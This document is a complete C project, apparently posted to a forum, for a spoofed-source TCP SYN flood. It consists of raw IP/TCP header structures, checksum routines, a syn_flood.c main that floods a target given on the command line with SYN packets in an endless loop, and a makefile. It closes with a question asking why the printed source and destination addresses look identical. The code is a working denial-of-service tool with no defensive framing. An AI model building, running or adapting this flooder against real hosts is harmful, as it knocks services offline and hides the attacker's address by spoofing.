ip.h----------------------------------------------------------------------------------------
#ifndef _IP_H__#define _IP_H__
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
// ip 报头
struct ip
{
//小端法
#if BYTE_ORDER == LITTLE_ENDIAN
unsigned char ip_hl:4; // ip 报头的长度
unsigned char ip_v:4; // ip 的版本,IPv4...
#endif
//大端法
#if BYTE_ORDER == BIG_ENDIAN
unsigned char ip_v:4;
unsigned char ip_hl:4;
#endif
unsigned char ip_tos; //服务类型
unsigned short ip_len; // ip 数据报的全长
unsigned short ip_id;
// 标识符:唯一标识该数据报的整数,一段数据可能被分为若干个分片,这些分片拥有 相同的 标识符
unsigned short ip_off; //分片偏移量:其占用了 13 个二进制位
#define IP_RF 0x8000 // reserver fragment
#define IP_DF 0x4000 // don't fragment:不要分片
#define IP_MF 0x2000 // more fragment:还有分片
#define IP_OFFMASK 0x1fff // 掩码偏移量
unsigned char ip_ttl; // 数据报存活时间:每经过一个路由器 数据报存活时间 递减,
//当被减到为 0时,丢弃。其值最大为 255,缺省值为 64,即默认值
unsigned char ip_p; // 协议:指定包含在 ip 数据报中的数据类型,
//其典型值为 1(ICMPv4),2(IGMPv4),6(TCP),17(UDP)...
unsigned short ip_sum; // ip 头部校验和:只对 IP 头部(包括任何选项)
//进行计算,其算法:16位反码加法
struct in_addr ip_src; //源地址
struct in_addr ip_dst; //目的地址
};
unsigned short checksum(unsigned short * packet,int packlen);
// ip 头部校验(头部,如果还有 选项 的话,加上)
#endif
ip.c-----------------------------------------------------------------------------------------
#include "ip.h"
/**************************
checksum 函数:ip 数据报头部的校验和计算方法
其参数:unsigned short *:packet:将要被计算的数据
int :packlen:该数据的长度
返回值:unsigned short :返回值可以将要被 赋值与 ip_sum
**************************/
unsigned short checksum(unsigned short * packet,int packlen)
{
unsigned long sum = 0;
while( packlen > 1)
{
sum += *(packet++);
packlen -= 2; // 一个 short 类型有 16 个 bit,一个字节为 8 bit
}
if(packlen > 0)
{//即 packlen == 1,即 packet 的长度为 奇数
sum += *(unsigned char *)packet;
//显示类型转换,因为只剩下一个字节,即一个 char,不足一个 short
}
while(sum >> 16)
{//每次向 右 移动 16 位,一个 short
sum = (sum & 0xffff) + (sum >> 16);
// 1)(sum & 0xffff):取 其 低16 位;2)(sum >> 16):向 右 移动 16 位
}
return (unsigned short)~sum;
}
tcp.h--------------------------------------------------------------------------------------
#ifndef _TCP_H__
#define _TCP_H__
#include <string.h>
#include "ip.h"
#define MAXLEN 1024 //各种数据的长度
struct tcp
{
unsigned short tcp_sport; //源端口
unsigned short tcp_dport; //目的端口
unsigned int tcp_seq; //数据报的顺序号
unsigned int tcp_ack_seq; //确认号:表示发送方期望从接收方接收到的下一个顺序号
#if BYTE_ORDER == LITTLE_ENDIAN
//小端法
unsigned char tcp_res1:4; //保留位 4 个bit
unsigned char tcp_off:4; //头部长度:表示 TCP 报头的长度
unsigned char tcp_fin:1; // FIN:释放已建立的链接
unsigned char tcp_syn:1; // SYN:用于链接同步,请求,确认链接的建立
unsigned char tcp_rst:1; // RST:用于复位主机崩溃等原因导致的错误
//拒绝非法的数据或链接请求
unsigned char tcp_psh:1; // PSH:表示接收方应马上将数据上传到应用层
unsigned char tcp_ack:1; // ACK:表示已经正确接收了确认序号之前的字节
unsigned char tcp_urg:1; // URG:表示数据报的 “紧急指针”有效
unsigned char tcp_res2:2; // 保留位 2 个bit
#endif
#if BYTE_ORDER == BIG_ENDIAN
//大端法
unsigned char tcp_off:4;
unsigned char tcp_res1:4;
unsigned char tcp_res2:2;
unsigned char tcp_urg:1;
unsigned char tcp_ack:1;
unsigned char tcp_psh:1;
unsigned char tcp_rst:1;
unsigned char tcp_syn:1;
unsigned char tcp_fin:1;
#endif
unsigned short tcp_win; //窗口大小:用于流量控制,通知对方 本地 能接收的字节数量
//取值为 0 通知对方暂定发送
unsigned short tcp_sum; //校验和:用来校验以便检查数据是否正确(TCP报头 + TCP数据报)
unsigned short tcp_urp; //紧急指针:表示当前顺序号到紧急数据的偏移量
};
// TCP 伪报头,用于 TCP 校验和
typedef struct
{
struct in_addr saddr; //源 IP 地址
struct in_addr daddr; //目的 IP 地址
char mbz; // must be zero:用于填充,都置 0
char protocol; // 8 位协议号
unsigned short tcplen; // TCP 包长度
}psdheader_t;
//TCP 校验和
unsigned short tcp_checksum(struct ip *ip,struct tcp * tcp);
#endif
tcp.c--------------------------------------------------------------------------------------
#include "tcp.h"
/**************************
tcp_checksum 函数:TCP 数据报的校验和计算方法
其参数:struct ip *:ip:与该数据报相关联的 ip 首部
struct tcp *:tcp:与该数据报相关联的 TCP 头部
返回值:unsigned short :返回值可以将要被 赋值与 ip_sum
**************************/
unsigned short tcp_checksum(struct ip * iph,struct tcp * tcph)
{
char buf[1024] = {0};
psdheader_t *psdh = NULL; // TCP 伪头部
// memset(buf,0,sizeof(buf)); // buf 清 0
bzero(buf,sizeof(buf));
psdh = (psdheader_t *)buf;
psdh->saddr = iph->ip_src;
psdh->daddr = iph->ip_dst;
psdh->mbz = 0;
psdh->protocol = IPPROTO_TCP; // 或者 为 6
psdh->tcplen = htons(sizeof(struct tcp));
//把 TCP 数据复制到 buf 中,也可用 bzero 可能更好
memcpy((buf+sizeof(psdheader_t)),tcph,sizeof(struct tcp));
return checksum((unsigned short*)buf,sizeof(psdheader_t)+sizeof(struct tcp));
}
syn_flood.c-----------------------------------------------------------------------------
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "tcp.h"
#define DPORT 9877 //目标端口
#define SPORT 8000 //源端口
#define MAXLEN 1024 //缓存区大小
#define MAXTTL 255 //IP 包的最大存活时间
int main(int argc,char *argv[])
{
int sockfd; //套接口
int on = 1; //用于设置套接口属性,0 表示不起作用,1 表示起作用
char buf[MAXLEN];
struct ip *ip = NULL;
struct tcp *tcp = NULL;
ssize_t headlen= sizeof(struct ip)+sizeof(struct tcp);
struct sockaddr_in toaddr;
struct hostent *h; //用以得到对应的 ip 地址
unsigned short check; //用以 TCP 校验和
if(argc < 2)
{
printf("usage: ./out <ip>");
exit(1);
}
if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0)
{
perror("socket error");
exit(1);
}
bzero(&toaddr,sizeof(toaddr));
toaddr.sin_family = AF_INET;
toaddr.sin_port = htons(DPORT);
if(inet_aton(argv[1],&toaddr.sin_addr) == 1)
{//argv[1]为 十进制的点地址
}
else if((h = gethostbyname(argv[1])) != NULL)
{//argv[1] 为 www....
bcopy(h->h_addr,&toaddr.sin_addr,h->h_length);
printf("目的地址 :%s(%s)\n",argv[1],inet_ntoa(toaddr.sin_addr));
}
else
{//输入错误
printf("输入错误\n");
exit(1);
}
if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,(char*)&on,sizeof(on)) < 0)
{//设置 套接口 的属性,on 为 1 表示起作用,on 为 0 表示不起作用
perror("setsockopt error");
exit(1);
}
/*
设置 IP——HDRINCL 选项后,必须为所有发送到 此套接口 上的数据报构造 IP 头部,
一般情况下,内核会为发送到 原始套接口 上的数据报结构 构造 IP 头部
有时,有些应用程序也会 构造 IP 头部
*/
//填充 IP 数据报头
ip = (struct ip *)buf;
ip->ip_v = 4; //其版本为 ipv4
ip->ip_hl = sizeof(struct ip) >> 2; // IP 数据报首部的长度(以 字 为单位)
ip->ip_tos = 0; //服务类型
ip->ip_len = headlen; //该 IP 数据报的全长
ip->ip_id = 0; //由内核填写
ip->ip_off = 0; //由内核填写
ip->ip_ttl = MAXTTL; // IP 数据报的存活时间
ip->ip_p = IPPROTO_TCP; //传输层协议为 TCP
ip->ip_sum = 0; //由内核填写,且其初始值要为 0
ip->ip_dst = toaddr.sin_addr;//目的地址,即攻击目标
//填充 TCP 数据报
tcp = (struct tcp *)(buf + sizeof(struct ip));
tcp->tcp_sport = htons(SPORT); //源端口
tcp->tcp_dport = htons(DPORT); //目的端口
tcp->tcp_seq = htonl(random()); //随机长生序列号
tcp->tcp_ack_seq = 0; //确认号,攻击用,随便给
tcp->tcp_off = sizeof(struct tcp) >> 2; //TCP 首部
tcp->tcp_syn = 1; // SYN 数据
tcp->tcp_win = htons(0x20); //窗口大小
check = tcp_checksum(ip,tcp);
tcp->tcp_sum = check; // TCP 校验和
//循环发送攻击包
while(1)
{
ip->ip_src.s_addr = random(); //随机生成源地址,使服务器接收不到 ACK 应答
printf("source addr : %s\n,dest addr : %s\n",inet_ntoa(ip->ip_src),\
inet_ntoa(ip->ip_dst));
if(-1 == sendto(sockfd,buf,headlen,0,(struct sockaddr *)&toaddr,\
sizeof(struct sockaddr)))
{
perror("sendto error");
exit(1);
}
}//end while(1)
return 0;
}
makefile---------------------------------------------------------------------------------
CC = gcc
FLAGS= -g -Wall
object = ip.o tcp.o syn_flood.o
C:$(object)
$(CC) $(FLAGS) $(object) -o flood
ip.o:ip.h ip.c
$(CC) $(FLAGS) -c ip.c
tcp.o:tcp.h tcp.c
$(CC) $(FLAGS) -c tcp.c
syn_flood.o:syn_flood.c
$(CC) $(FLAGS) -c syn_flood.c
.PHOINY:clean
clean:
rm $(C) $(object)
-------------------------------------end------------------------------------------------------
问题:攻击时,怎么攻击目标和源地址总是一样的???